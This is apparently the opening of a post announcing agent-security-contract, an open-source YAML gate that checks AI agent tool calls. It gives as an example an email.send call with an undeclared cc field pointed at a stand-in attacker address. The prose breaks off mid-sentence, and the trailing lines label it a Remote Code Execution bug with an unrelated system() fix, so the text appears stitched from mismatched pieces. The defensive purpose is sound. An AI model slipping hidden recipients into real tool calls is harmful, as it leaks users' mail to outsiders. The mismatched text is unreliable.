agent-security-contract v0.2.1: a fail-closed YAML contract for AI agent tool calls
An agent is asked to send a status mail to ops. The call it produces looks fine at a glance, except for one extra field. { "args": { "to": "ops@example.com", "subject": "Hi", "body": "Body", "cc": "evil@example.net" }, "call_id": "c1", "tool": "email.send" } Nobody declared a cc argument for email.send. A tool wrapper that forwards whatever keys it receives will happily copy someone outside the company. That call is one of the scenarios in agent-security-contract (ASC), a small open-source gate
🎯 Vulnerability: Remote Code Execution (RCE)
💡 Defense Fix: Avoid executing shell commands via system(). Use parameterized APIs and strict input sanitization.